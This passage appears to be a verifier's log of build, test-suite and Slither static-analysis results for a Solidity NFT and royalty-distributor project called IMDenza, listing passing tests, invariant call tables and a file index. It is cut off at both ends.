694600)\n[PASS] test_mintProceedsWhenValidatorRejectsPolicyAndExplicitCallReverts() (gas: 542775)\n[PASS] test_noOwnerPowers() (gas: 55015)\n[PASS] test_policyAppliedOnFirstMintWithFixedParameters() (gas: 475027)\n[PASS] test_publicMintRevertsWithoutApprovalOrFunds() (gas: 126902)\n[PASS] test_publicMintSplitsProceeds90_10() (gas: 666135)\n[PASS] test_reusedTokenHashIsRehashed() (gas: 573478)\n[PASS] test_royaltyInfo() (gas: 8766)\n[PASS] test_soldOutStopsEveryRoute() (gas: 449919)\n[PASS] test_swarmSnapshotIsFrozenAtMint() (gas: 1480301)\n[PASS] test_tokenUriAndTraits() (gas: 49944022)\n[PASS] test_tokensMintedInSameBlockAreUnique() (gas: 1302365)\n[PASS] test_transfersGoThroughValidator() (gas: 703518)\n[PASS] test_viewsRevertForNonexistentToken() (gas: 38807)\nSuite result: ok. 27 passed; 0 failed; 0 skipped; finished in 117.86ms (126.39ms CPU time)\n\nRan 1 test for test/invariants/Distributor.invariants.t.sol:DistributorInvariants\n[PASS]\nDistributorInvariants invariants:\n[PASS] invariant_balanceIsInMinusOut\n[PASS] invariant_checkpointsAreOrdered\n[PASS] invariant_collectionHoldsNoFunds\n[PASS] invariant_everyTokenHasUniqueSeedAndHash\n[PASS] invariant_laterTokensShareNothingEarlier\n[PASS] invariant_noOwnerPowers\n[PASS] invariant_oneFreeClaimPerWalletPerRoute\n[PASS] invariant_pendingBoundedByAccumulator\n[PASS] invariant_proceedsSplit\n[PASS] invariant_reservedIsBackedByBalance\n[PASS] invariant_reservedMatchesLedger\n[PASS] invariant_supplyAccounting\n DistributorInvariants invariants (runs: 48, calls: 1920, reverts: 0)\n\n╭--------------------+------------------+-------+---------+----------╮\n| Contract           | Selector         | Calls | Reverts | Discards |\n+====================================================================+\n| DistributorHandler | advanceChain     | 150   | 0       | 0        |\n|--------------------+------------------+-------+---------+----------|\n| DistributorHandler | claim            | 147   | 0       | 0        |\n|--------------------+------------------+-------+---------+----------|\n| DistributorHandler | claimForOther    | 143   | 0       | 0        |\n|--------------------+------------------+-------+---------+----------|\n| DistributorHandler | claimImd         | 145   | 0       | 0        |\n|--------------------+------------------+-------+---------+----------|\n| DistributorHandler | claimMixedOwners | 130   | 0       | 0        |\n|--------------------+------------------+-------+---------+----------|\n| DistributorHandler | distribute       | 311   | 0       | 0        |\n|--------------------+------------------+-------+---------+----------|\n| DistributorHandler | publicMint       | 148   | 0       | 0        |\n|--------------------+------------------+-------+---------+----------|\n| DistributorHandler | recordJob        | 147   | 0       | 0        |\n|--------------------+------------------+-------+---------+----------|\n| DistributorHandler | sendDust         | 162   | 0       | 0        |\n|--------------------+------------------+-------+---------+----------|\n| DistributorHandler | sendEth          | 148   | 0       | 0        |\n|--------------------+------------------+-------+---------+----------|\n| DistributorHandler | sendWeth         | 146   | 0       | 0        |\n|--------------------+------------------+-------+---------+----------|\n| DistributorHandler | transfer         | 143   | 0       | 0        |\n╰--------------------+------------------+-------+---------+----------╯\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.31s (1.31s CPU time)\n\nRan 8 tests for test/IMDenzaRenderer.t.sol:IMDenzaRendererTest\n[PASS] testFuzz_everyTokenRenders(uint256,bytes32) (runs: 64, μ: 16244459, ~: 14728083)\n[PASS] testFuzz_fieldRendersForAnySeed(bytes32,uint8) (runs: 64, μ: 8284610, ~: 7593908)\n[PASS] test_deterministicForSamePiece() (gas: 76939939)\n[PASS] test_fieldRejectsBadInputs() (gas: 26221)\n[PASS] test_pulseChangesAnimationOnlyNotComposition() (gas: 50898415)\n[PASS] test_rendererRejectsZeroAddresses() (gas: 6495)\n[PASS] test_swarmHistoryModulatesLaterPieces() (gas: 7575315)\n[PASS] test_tokenIdAloneChangesTheComposition() (gas: 47457610)\nSuite result: ok. 8 passed; 0 failed; 0 skipped; finished in 1.88s (3.09s CPU time)\n\nRan 6 test suites in 1.88s (3.41s CPU time): 79 tests passed, 0 failed, 0 skipped (79 total tests)\n","passed":true},{"durationMs":63,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"IMDenza.applyTransferPolicy()\",\"IMDenza.approve(address,uint256)\",\"IMDenza.claimWithFidenza(uint256)\",\"IMDenza.claimWithIdentityMd(uint256)\",\"IMDenza.claimWithImd()\",\"IMDenza.mint(address)\",\"IMDenza.safeTransferFrom(address,address,uint256)\",\"IMDenza.safeTransferFrom(address,address,uint256,bytes)\",\"IMDenza.setApprovalForAll(address,bool)\",\"IMDenza.setAutomaticApprovalOfTransfersFromValidator(bool)\",\"IMDenza.setIdentityMdCollection(address)\",\"IMDenza.setTransferValidator(address)\",\"IMDenza.transferFrom(address,address,uint256)\",\"IMDenzaDistributor.claim(address,uint256[])\",\"IMDenzaDistributor.distribute(address)\",\"IMDenzaDistributor.receive()\",\"SwarmHistory.recordJob(bytes32,uint8,uint16,uint8,uint40)\",\"SwarmHistory.recordJobs(bytes32[],uint8[],uint16[],uint8[],uint40[])\"],\"files\":{\".gitignore\":4,\"README.md\":165,\"foundry.toml\":22,\"remappings.txt\":4,\"script/Deploy.s.sol\":39,\"src/IMDenza.sol\":359,\"src/IMDenzaDistributor.sol\":152,\"src/IMDenzaField.sol\":396,\"src/IMDenzaRenderer.sol\":421,\"src/SwarmHistory.sol\":232,\"test/Base.t.sol\":76,\"test/IMDenza.t.sol\":419,\"test/IMDenzaDistributor.t.sol\":179,\"test/IMDenzaEdges.t.sol\":500,\"test/IMDenzaRenderer.t.sol\":130,\"test/SwarmHistory.t.sol\":121,\"test/invariants/Distributor.invariants.t.sol\":195,\"test/invariants/DistributorHandler.sol\":357,\"test/mocks/Mocks.sol\":114},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"7db27d6332425a7f0c596337323d6ce0b8a9de243143b9aba951a43928b4b527","verifiedTreeHash":"bafaefd9456c907b7d377b9492d7e95aae6a4bbc","verifierVersion":"0.1.0+d952fceb"},{"checks":[{"durationMs":81571,"exitCode":0,"name":"build","output":"Compiling 65 files with Solc 0.8.26\nSolc 0.8.26 finished in 81.47s\nCompiler run successful with warnings:\nWarning (5740): Unreachable code.\n  --> lib/creator-token-standards/src/utils/AutomaticValidatorTransferApproval.sol:30:9:\n   |\n30 |         autoApproveTransfersFromValidator = autoApprove;\n   |         ^ (Relevant source part starts here and spans across multiple lines).\n\nWarning (5740): Unreachable code.\n  --> lib/creator-token-standards/src/utils/CreatorTokenBase.sol:71:9:\n   |\n71 |         bool isValidTransferValidator = transferValidator_.code.length > 0;\n   |         ^ (Relevant source part starts here and spans across multiple lines).\n\nWarning (5740): Unreachable code.\n  --> lib/creator-token-standards/src/utils/CreatorTokenBase.sol:77:9:\n   |\n77 |         emit TransferValidatorUpdated(address(getTransferValidator()), transferValidator_);\n   |         ^ (Relevant source part starts here and spans across multiple lines).\n\n","passed":true},{"durationMs":1805,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 7 tests for test/SwarmHistory.t.sol:SwarmHistoryTest\n[PASS] testFuzz_entropyIsOrderSensitive(bytes32,bytes32) (runs: 64, μ: 1151476, ~: 1151838)\n[PASS] test_batchRecordsInOrderAndRejectsMismatch() (gas: 976164)\n[PASS] test_duplicateJobIdReverts() (gas: 417094)\n[PASS] test_invalidInputsRevert() (gas: 104859)\n[PASS] test_pulseDecaysAndSaturates() (gas: 2730544)\n[PASS] test_recordUpdatesEntropyCountersAndPulse() (gas: 467572)\n[PASS] test_typeProfileCapsAt255AndFoundationalDigestsAreLimited() (gas: 4060995)\nSuite result: ok. 7 passed; 0 failed; 0 skipped; finished in 9.54ms (12.81ms CPU time)\n\nRan 32 tests for test/IMDenzaEdges.t.sol:IMDenzaEdgesTest\n[PASS] testFuzz_exactAmountsAreFullyClaimable(uint8,uint96) (runs: 64, μ: 1314786, ~: 1060162)\n[PASS] testFuzz_royaltyIsAlways6_9PercentToTheDistributor(uint256,uint256) (runs: 64, μ: 9191, ~: 9121)\n[PASS] testFuzz_swarmPulseNeverExceedsMaxAndDecaysToZero(uint8,uint16) (runs: 64, μ: 3421592, ~: 2815001)\n[PASS] test_claimForUnmintedOrZeroTokenReverts() (gas: 699213)\n[PASS] test_claimWithDuplicateIdsPaysOnce() (gas: 624427)\n[PASS] test_decimalsAboveUint8AreRefused() (gas: 338402)\n[PASS] test_decimalsBoundariesForPriceAndHolding() (gas: 2392406)\n[PASS] test_distributeForAssetWithoutCodeReverts() (gas: 440005)\n[PASS] test_distributeRefusesToOverflowOnAbsurdBalance() (gas: 625325)\n[PASS] test_distributionBetweenMintsOfOneHolderIsPerToken() (gas: 1338729)\n[PASS] test_distributorHasNoAdminSurface() (gas: 11679)\n[PASS] test_ethReceivedBeforeFirstMintBelongsToTheFirstTokenAlone() (gas: 968918)\n[PASS] test_feeOnTransferPaymentIsRefusedAsUnderPaid() (gas: 940328)\n[PASS] test_fidenzaClaimNeedsArtBlocksCodeAndAnExistingToken() (gas: 171993)\n[PASS] test_fidenzaProjectBoundaries() (gas: 991238)\n[PASS] test_holdingIsPointInTimeAndTokenStaysClaimedAfterSelling() (gas: 778295)\n[PASS] test_identityClaimForNonexistentTokenRevertsWithoutSideEffects() (gas: 140530)\n[PASS] test_identityClaimNeedsCollectionCodeAndExistingToken() (gas: 1194732)\n[PASS] test_imdClaimFailsWhenNeitherTokenHasCode() (gas: 86141)\n[PASS] test_imdHoldingEitherTokenSuffices() (gas: 893983)\n[PASS] test_imdHoldingUsesEighteenDecimalsWhenDecimalsIsMissing() (gas: 254657)\n[PASS] test_mintInTheBlockOfTheFirstRecordSeesEmptyHistory() (gas: 1638829)\n[PASS] test_publicMintHasNoPerWalletLimitAndEmitsEvents() (gas: 954363)\n[PASS] test_publicMintToContractWithoutReceiverRevertsAndRefunds() (gas: 1042816)\n[PASS] test_reentrancyFromReceiveHookIsBlockedAndSplitStaysCorrect() (gas: 1894770)\n[PASS] test_soldOutRevertsBeforePullingPayment() (gas: 388752)\n[PASS] test_swarmAcceptsBoundaryValuesAndEmptyBatch() (gas: 444512)\n[PASS] test_swarmBatchIsAllOrNothing() (gas: 533496)\n[PASS] test_swarmFullBatchOf200IsAccepted() (gas: 24735678)\n[PASS] test_swarmHistoryChangesTheSeedOfAnOtherwiseIdenticalMint() (gas: 1329872)\n[PASS] test_twoDistributionsAtSameMintedCountMergeIntoOneCheckpoint() (gas: 635563)\n[PASS] test_unsyncedTokenIsSharedWithLaterPiecesUntilSomeoneDistributes() (gas: 2543917)\nSuite result: ok. 32 passed; 0 failed; 0 skipped; finished in 35.85ms (70.87ms CPU time)\n\nRan 9 tests for test/IMDenzaDistributor.t.sol:IMDenzaDistributorTest\n[PASS] testFuzz_conservation(uint8,uint64[4]) (runs: 64, μ: 1552830, ~: 1166393)\n[PASS] test_claimRequiresSingleOwnerAndNonEmptyList() (gas: 1101514)\n[PASS] test_distributeRevertsWithoutTokensOrValue() (gas: 629096)\n[PASS] test_erc20RoyaltiesAndMintProceeds() (gas: 2090675)\n[PASS] test_ethRoyaltiesSplitEquallyAndLaterMintsDoNotShareEarlierValue() (gas: 1739147)\n[PASS] test_pendingIsZeroForUnknownTokens() (gas: 575458)\n[PASS] test_reentrantClaimIsRejected() (gas: 1169659)\n[PASS] test_rejectingReceiverOnlyBlocksItsOwnClaim() (gas: 1178032)\n[PASS] test_unclaimedValueTravelsWithTheToken() (gas: 715500)\nSuite result: ok. 9 passed; 0 failed; 0 skipped; finished in 38.59ms (40.65ms CPU time)\n\nRan 27 tests for test/IMDenza.t.sol:IMDenzaTest\n[PASS] test_applyPolicyRevertsWhenValidatorHasNoCode() (gas: 378840)\n[PASS] test_constructorRejectsZeroAddresses() (gas: 8870)\n[PASS] test_constructorsSucceedOnAnEmptyChain() (gas: 19263)\n[PASS] test_deploymentWiring() (gas: 68807)\n[PASS] test_eachRouteIsIndependentPerWallet() (gas: 1094985)\n[PASS] test_failedClaimDoesNotConsumeTheWalletsClaim() (gas: 74212)\n[PASS] test_fidenzaClaimChecksProjectOwnershipAndReuse() (gas: 720550)\n[PASS] test_identityClaimRevertsUntilConfigured() (gas: 114842)\n[PASS] test_identityClaimSuccessAndLimits() (gas: 1103768)\n[PASS] test_identityCollectionIsOneShotAndConfiguratorOnly() (gas: 154410)\n[PASS] test_imdClaimCountsSecondTokenWhenItHasCode() (gas: 1094369)\n[PASS] test_imdClaimRequiresMoreThan25() (gas: 563281)\n[PASS] test_lastPieceMintsThenSoldOut() (gas: 668503)\n[PASS] test_mintPriceFollowsTokenDecimals() (gas: 694900)\n[PASS] test_mintProceedsWhenValidatorRejectsPolicyAndExplicitCallReverts() (gas: 553900)\n[PASS] test_noOwnerPowers() (gas: 55103)\n[PASS] test_policyAppliedOnFirstMintWithFixedParameters() (gas: 486108)\n[PASS] test_publicMintRevertsWithoutApprovalOrFunds() (gas: 127276)\n[PASS] test_publicMintSplitsProceeds90_10() (gas: 673139)\n[PASS] test_reusedTokenHashIsRehashed() (gas: 584583)\n[PASS] test_royaltyInfo() (gas: 8788)\n[PASS] test_soldOutStopsEveryRoute() (gas: 450402)\n[PASS] test_swarmSnapshotIsFrozenAtMint() (gas: 1984100)\n[PASS] test_tokenUriAndTraits() (gas: 34966529)\n[PASS] test_tokensMintedInSameBlockAreUnique() (gas: 1355325)\n[PASS] test_transfersGoThroughValidator() (gas: 714561)\n[PASS] test_viewsRevertForNonexistentToken() (gas: 38961)\nSuite result: ok. 27 passed; 0 failed; 0 skipped; finished in 152.04ms (71.35ms CPU time)\n\nRan 14 tests for test/Hardening.t.sol:HardeningTest\n[PASS] testFuzz_densityHasThreeBuckets(bytes32,bytes32,uint16) (runs: 64, μ: 20520, ~: 20515)\n[PASS] test_batchClaimPaysTheSumOfPending() (gas: 1074458)\n[PASS] test_fractionalCreditStaysClaimable() (gas: 1224471)\n[PASS] test_identityCollectionMustBeAnErc721ElsewhereThanHere() (gas: 215154)\n[PASS] test_maxDensityInputRenders() (gas: 32562879)\n[PASS] test_mintFromInsideAPayoutIsRefused() (gas: 1098688)\n[PASS] test_oddDistributionsNeverOverPromise() (gas: 1659791)\n[PASS] test_paymentThatDoesNotArriveIsRefused() (gas: 206120)\n[PASS] test_replayedDistributeIsANoOp() (gas: 1437560)\n[PASS] test_sameBlockRecordsDoNotChangeTheSeed() (gas: 1312723)\n[PASS] test_syncIsPermissionlessAndSkipsUnreadableAssets() (gas: 659779)\n[PASS] test_tokenBWithHugeDecimalsDoesNotBlockImdClaims() (gas: 1152633)\n[PASS] test_tokenBWithTooFewDecimalsCannotBeUsedToPay() (gas: 715863)\n[PASS] test_valueArrivedBeforeAMintIsNotSharedWithIt() (gas: 2068901)\nSuite result: ok. 14 passed; 0 failed; 0 skipped; finished in 881.91ms (81.95ms CPU time)\n\nRan 1 test for test/invariants/Distributor.invariants.t.sol:DistributorInvariants\n[PASS]\nDistributorInvariants invariants:\n[PASS] invariant_balanceIsInMinusOut\n[PASS] invariant_checkpointsAreOrdered\n[PASS] invariant_collectionHoldsNoFunds\n[PASS] invariant_everyTokenHasUniqueSeedAndHash\n[PASS] invariant_laterTokensShareNothingEarlier\n[PASS] invariant_noOwnerPowers\n[PASS] invariant_oneFreeClaimPerWalletPerRoute\n[PASS] invariant_pendingBoundedByAccumulator\n[PASS] invariant_proceedsSplit\n[PASS] invariant_reservedIsBackedByBalance\n[PASS] invariant_reservedMatchesLedger\n[PASS] invariant_sumOfPendingIsBackedByReserved\n[PASS] invariant_supplyAccounting\n DistributorInvariants invariants (runs: 48, calls: 1920, reverts: 0)\n\n╭--------------------+------------------+-------+---------+----------╮\n| Contract           | Selector         | Calls | Reverts | Discards |\n+====================================================================+\n| DistributorHandler | advanceChain     | 165   | 0       | 0        |\n|--------------------+------------------+-------+---------+----------|\n| DistributorHandler | claim            | 154   | 0       | 0        |\n|--------------------+------------------+-------+---------+----------|\n| DistributorHandler | claimForOther    | 131   | 0       | 0        |\n|--------------------+------------------+-------+---------+----------|\n| DistributorHandler | claimImd         | 136   | 0       | 0        |\n|--------------------+------------------+-------+---------+----------|\n| DistributorHandler | claimMixedOwners | 111   | 0       | 0        |\n|--------------------+------------------+-------+---------+----------|\n| DistributorHandler | distribute       | 259   | 0       | 0        |\n|--------------------+------------------+-------+---------+----------|\n| DistributorHandler | publicMint       | 144   | 0       | 0        |\n|--------------------+------------------+-------+---------+----------|\n| DistributorHandler | recordJob        | 142   | 0       | 0        |\n|--------------------+------------------+-------+---------+----------|\n| DistributorHandler | sendDust         | 137   | 0       | 0        |\n|--------------------+------------------+-------+---------+----------|\n| DistributorHandler | sendEth          | 129   | 0       | 0        |\n|--------------------+------------------+-------+---------+----------|\n| DistributorHandler | sendWeth         | 146   | 0       | 0        |\n|--------------------+------------------+-------+---------+----------|\n| DistributorHandler | sync             | 137   | 0       | 0        |\n|--------------------+------------------+-------+---------+----------|\n| DistributorHandler | transfer         | 129   | 0       | 0        |\n╰--------------------+------------------+-------+---------+----------╯\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.57s (1.57s CPU time)\n\nRan 8 tests for test/IMDenzaRenderer.t.sol:IMDenzaRendererTest\n[PASS] testFuzz_everyTokenRenders(uint256,bytes32) (runs: 64, μ: 15858586, ~: 13787122)\n[PASS] testFuzz_fieldRendersForAnySeed(bytes32,uint8) (runs: 64, μ: 8360024, ~: 7796133)\n[PASS] test_deterministicForSamePiece() (gas: 76940191)\n[PASS] test_fieldRejectsBadInputs() (gas: 26221)\n[PASS] test_pulseChangesAnimationOnlyNotComposition() (gas: 50943905)\n[PASS] test_rendererRejectsZeroAddresses() (gas: 6495)\n[PASS] test_swarmHistoryModulatesLaterPieces() (gas: 7704967)\n[PASS] test_tokenIdAloneChangesTheComposition() (gas: 47457898)\nSuite result: ok. 8 passed; 0 failed; 0 skipped; finished in 1.71s (2.92s CPU time)\n\nRan 7 test suites in 1.71s (4.40s CPU time): 98 tests passed, 0 failed, 0 skipped (98 total tests)\n","passed":true},{"durationMs":58,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"IMDenza.applyTransferPolicy()\",\"IMDenza.approve(address,uint256)\",\"IMDenza.claimWithFidenza(uint256)\",\"IMDenza.claimWithIdentityMd(uint256)\",\"IMDenza.claimWithImd()\",\"IMDenza.mint(address)\",\"IMDenza.safeTransferFrom(address,address,uint256)\",\"IMDenza.safeTransferFrom(address,address,uint256,bytes)\",\"IMDenza.setApprovalForAll(address,bool)\",\"IMDenza.setAutomaticApprovalOfTransfersFromValidator(bool)\",\"IMDenza.setIdentityMdCollection(address)\",\"IMDenza.setTransferValidator(address)\",\"IMDenza.transferFrom(address,address,uint256)\",\"IMDenzaDistributor.claim(address,uint256[])\",\"IMDenzaDistributor.distribute(address)\",\"IMDenzaDistributor.receive()\",\"IMDenzaDistributor.sync(address[])\",\"SwarmHistory.recordJob(bytes32,uint8,uint16,uint8,uint40)\",\"SwarmHistory.recordJobs(bytes32[],uint8[],uint16[],uint8[],uint40[])\"],\"files\":{\".gitignore\":4,\"README.md\":199,\"foundry.toml\":22,\"remappings.txt\":4,\"script/Deploy.s.sol\":39,\"src/IMDenza.sol\":402,\"src/IMDenzaDistributor.sol\":185,\"src/IMDenzaField.sol\":396,\"src/IMDenzaRenderer.sol\":423,\"src/SwarmHistory.sol\":249,\"test/Base.t.sol\":76,\"test/Hardening.t.sol\":240,\"test/IMDenza.t.sol\":425,\"test/IMDenzaDistributor.t.sol\":182,\"test/IMDenzaEdges.t.sol\":636,\"test/IMDenzaRenderer.t.sol\":130,\"test/SwarmHistory.t.sol\":127,\"test/invariants/Distributor.invariants.t.sol\":213,\"test/invariants/DistributorHandler.sol\":459,\"test/mocks/Mocks.sol\":156},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"8f66d4a3bab2bc756a2ade590496f6b52b30d69eb9e6c3917db937ae4d833fb9","verifiedTreeHash":"eb47772953443a836efba7b7a0ffc0fad03d2e10","verifierVersion":"0.1.0+d952fceb"},{"checks":[{"durationMs":79155,"exitCode":0,"name":"build","output":"Compiling 62 files with Solc 0.8.26\nSolc 0.8.26 finished in 79.02s\nCompiler run successful with warnings:\nWarning (5740): Unreachable code.\n  --> lib/creator-token-standards/src/utils/AutomaticValidatorTransferApproval.sol:30:9:\n   |\n30 |         autoApproveTransfersFromValidator = autoApprove;\n   |         ^ (Relevant source part starts here and spans across multiple lines).\n\nWarning (5740): Unreachable code.\n  --> lib/creator-token-standards/src/utils/CreatorTokenBase.sol:71:9:\n   |\n71 |         bool isValidTransferValidator = transferValidator_.code.length > 0;\n   |         ^ (Relevant source part starts here and spans across multiple lines).\n\nWarning (5740): Unreachable code.\n  --> lib/creator-token-standards/src/utils/CreatorTokenBase.sol:77:9:\n   |\n77 |         emit TransferValidatorUpdated(address(getTransferValidator()), transferValidator_);\n   |         ^ (Relevant source part starts here and spans across multiple lines).\n\n","passed":true},{"durationMs":2701,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 7 tests for test/SwarmHistory.t.sol:SwarmHistoryTest\n[PASS] testFuzz_entropyIsOrderSensitive(bytes32,bytes32) (runs: 64, μ: 1151415, ~: 1151838)\n[PASS] test_batchRecordsInOrderAndRejectsMismatch() (gas: 976164)\n[PASS] test_duplicateJobIdReverts() (gas: 417094)\n[PASS] test_invalidInputsRevert() (gas: 104859)\n[PASS] test_pulseDecaysAndSaturates() (gas: 2730544)\n[PASS] test_recordUpdatesEntropyCountersAndPulse() (gas: 467572)\n[PASS] test_typeProfileCapsAt255AndFoundationalDigestsAreLimited() (gas: 4060995)\nSuite result: ok. 7 passed; 0 failed; 0 skipped; finished in 11.42ms (14.85ms CPU time)\n\nRan 9 tests for test/IMDenzaDistributor.t.sol:IMDenzaDistributorTest\n[PASS] testFuzz_conservation(uint8,uint64[4]) (runs: 64, μ: 1552827, ~: 1166393)\n[PASS] test_claimRequiresSingleOwnerAndNonEmptyList() (gas: 1101514)\n[PASS] test_distributeRevertsWithoutTokensOrValue() (gas: 629096)\n[PASS] test_erc20RoyaltiesAndMintProceeds() (gas: 2090675)\n[PASS] test_ethRoyaltiesSplitEquallyAndLaterMintsDoNotShareEarlierValue() (gas: 1739147)\n[PASS] test_pendingIsZeroForUnknownTokens() (gas: 575458)\n[PASS] test_reentrantClaimIsRejected() (gas: 1169659)\n[PASS] test_rejectingReceiverOnlyBlocksItsOwnClaim() (gas: 1178032)\n[PASS] test_unclaimedValueTravelsWithTheToken() (gas: 715500)\nSuite result: ok. 9 passed; 0 failed; 0 skipped; finished in 44.81ms (46.49ms CPU time)\n\nRan 14 tests for test/Hardening.t.sol:HardeningTest\n[PASS] testFuzz_densityHasThreeBuckets(bytes32,bytes32,uint16) (runs: 64, μ: 20514, ~: 20510)\n[PASS] test_batchClaimPaysTheSumOfPending() (gas: 1074458)\n[PASS] test_fractionalCreditStaysClaimable() (gas: 1224471)\n[PASS] test_identityCollectionMustBeAnErc721ElsewhereThanHere() (gas: 215154)\n[PASS] test_maxDensityInputRenders() (gas: 32562879)\n[PASS] test_mintFromInsideAPayoutIsRefused() (gas: 1098688)\n[PASS] test_oddDistributionsNeverOverPromise() (gas: 1659791)\n[PASS] test_paymentThatDoesNotArriveIsRefused() (gas: 206120)\n[PASS] test_replayedDistributeIsANoOp() (gas: 1437560)\n[PASS] test_sameBlockRecordsDoNotChangeTheSeed() (gas: 1312723)\n[PASS] test_syncIsPermissionlessAndSkipsUnreadableAssets() (gas: 659779)\n[PASS] test_tokenBWithHugeDecimalsDoesNotBlockImdClaims() (gas: 1152633)\n[PASS] test_tokenBWithTooFewDecimalsCannotBeUsedToPay() (gas: 715863)\n[PASS] test_valueArrivedBeforeAMintIsNotSharedWithIt() (gas: 2068901)\nSuite result: ok. 14 passed; 0 failed; 0 skipped; finished in 1.47s (86.49ms CPU time)\n\nRan 27 tests for test/IMDenza.t.sol:IMDenzaTest\n[PASS] test_applyPolicyRevertsWhenValidatorHasNoCode() (gas: 378840)\n[PASS] test_constructorRejectsZeroAddresses() (gas: 8870)\n[PASS] test_constructorsSucceedOnAnEmptyChain() (gas: 19263)\n[PASS] test_deploymentWiring() (gas: 68807)\n[PASS] test_eachRouteIsIndependentPerWallet() (gas: 1094985)\n[PASS] test_failedClaimDoesNotConsumeTheWalletsClaim() (gas: 74212)\n[PASS] test_fidenzaClaimChecksProjectOwnershipAndReuse() (gas: 720550)\n[PASS] test_identityClaimRevertsUntilConfigured() (gas: 114842)\n[PASS] test_identityClaimSuccessAndLimits() (gas: 1103768)\n[PASS] test_identityCollectionIsOneShotAndConfiguratorOnly() (gas: 154410)\n[PASS] test_imdClaimCountsSecondTokenWhenItHasCode() (gas: 1094369)\n[PASS] test_imdClaimRequiresMoreThan25() (gas: 563281)\n[PASS] test_lastPieceMintsThenSoldOut() (gas: 668503)\n[PASS] test_mintPriceFollowsTokenDecimals() (gas: 694900)\n[PASS] test_mintProceedsWhenValidatorRejectsPolicyAndExplicitCallReverts() (gas: 553900)\n[PASS] test_noOwnerPowers() (gas: 55103)\n[PASS] test_policyAppliedOnFirstMintWithFixedParameters() (gas: 486108)\n[PASS] test_publicMintRevertsWithoutApprovalOrFunds() (gas: 127276)\n[PASS] test_publicMintSplitsProceeds90_10() (gas: 673139)\n[PASS] test_reusedTokenHashIsRehashed() (gas: 584583)\n[PASS] test_royaltyInfo() (gas: 8788)\n[PASS] test_soldOutStopsEveryRoute() (gas: 450402)\n[PASS] test_swarmSnapshotIsFrozenAtMint() (gas: 1984100)\n[PASS] test_tokenUriAndTraits() (gas: 34966529)\n[PASS] test_tokensMintedInSameBlockAreUnique() (gas: 1355325)\n[PASS] test_transfersGoThroughValidator() (gas: 714561)\n[PASS] test_viewsRevertForNonexistentToken() (gas: 38961)\nSuite result: ok. 27 passed; 0 failed; 0 skipped; finished in 1.47s (99.72ms CPU time)\n\nRan 8 tests for test/IMDenzaRenderer.t.sol:IMDenzaRendererTest\n[PASS] testFuzz_everyTokenRenders(uint256,bytes32) (runs: 64, μ: 15668521, ~: 14011977)\n[PASS] testFuzz_fieldRendersForAnySeed(bytes32,uint8) (runs: 64, μ: 8382973, ~: 7627305)\n[PASS] test_deterministicForSamePiece() (gas: 76940191)\n[PASS] test_fieldRejectsBadInputs() (gas: 26221)\n[PASS] test_pulseChangesAnimationOnlyNotComposition() (gas: 50943905)\n[PASS] test_rendererRejectsZeroAddresses() (gas: 6495)\n[PASS] test_swarmHistoryModulatesLaterPieces() (gas: 7704967)\n[PASS] test_tokenIdAloneChangesTheComposition() (gas: 47457898)\nSuite result: ok. 8 passed; 0 failed; 0 skipped; finished in 2.55s (4.57s CPU time)\n\nRan 5 test suites in 2.55s (5.54s CPU time): 65 tests passed, 0 failed, 0 skipped (65 total tests)\n","passed":true},{"durationMs":220,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"IMDenza.applyTransferPolicy()\",\"IMDenza.approve(address,uint256)\",\"IMDenza.claimWithFidenza(uint256)\",\"IMDenza.claimWithIdentityMd(uint256)\",\"IMDenza.claimWithImd()\",\"IMDenza.mint(address)\",\"IMDenza.safeTransferFrom(address,address,uint256)\",\"IMDenza.safeTransferFrom(address,address,uint256,bytes)\",\"IMDenza.setApprovalForAll(address,bool)\",\"IMDenza.setAutomaticApprovalOfTransfersFromValidator(bool)\",\"IMDenza.setIdentityMdCollection(address)\",\"IMDenza.setTransferValidator(address)\",\"IMDenza.transferFrom(address,address,uint256)\",\"IMDenzaDistributor.claim(address,uint256[])\",\"IMDenzaDistributor.distribute(address)\",\"IMDenzaDistributor.receive()\",\"IMDenzaDistributor.sync(address[])\",\"SwarmHistory.recordJob(bytes32,uint8,uint16,uint8,uint40)\",\"SwarmHistory.recordJobs(bytes32[],uint8[],uint16[],uint8[],uint40[])\"],\"files\":{\".gitignore\":4,\"README.md\":199,\"foundry.toml\":22,\"remappings.txt\":4,\"script/Deploy.s.sol\":39,\"src/IMDenza.sol\":402,\"src/IMDenzaDistributor.sol\":185,\"src/IMDenzaField.sol\":396,\"src/IMDenzaRenderer.sol\":423,\"src/SwarmHistory.sol\":249,\"test/Base.t.sol\":76,\"test/Hardening.t.sol\":240,\"test/IMDenza.t.sol\":425,\"test/IMDenzaDistributor.t.sol\":182,\"test/IMDenzaRenderer.t.sol\":130,\"test/SwarmHistory.t.sol\":127,\"test/mocks/Mocks.sol\":156},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true},{"durationMs":13246,"exitCode":0,"name":"slither","output":"[high/medium] arbitrary-send-eth at src/IMDenzaDistributor.sol:128: IMDenzaDistributor.claim(address,uint256[]) (src/IMDenzaDistributor.sol#128-152) sends eth to arbitrary user\n[high/medium] reentrancy-balance at src/IMDenza.sol:286: Reentrancy in IMDenza.mint(address) (src/IMDenza.sol#286-305):\n[high/high] uninitialized-state at src/IMDenzaDistributor.sol:103: IMDenzaDistributor._checkpoints (src/IMDenzaDistributor.sol#54) is never initialized. It is used in:\n[medium/medium] divide-before-multiply at src/IMDenzaDistributor.sol:103: IMDenzaDistributor._attribute(address,uint256,uint256) (src/IMDenzaDistributor.sol#103-123) performs a multiplication on the result of a division:\n[medium/medium] divide-before-multiply at src/IMDenzaDistributor.sol:128: IMDenzaDistributor.claim(address,uint256[]) (src/IMDenzaDistributor.sol#128-152) performs a multiplication on the result of a division:\n[medium/medium] divide-before-multiply at src/IMDenzaField.sol:105: IMDenzaField._noise(IMDenzaField.Ctx,uint256,int256,int256) (src/IMDenzaField.sol#105-130) 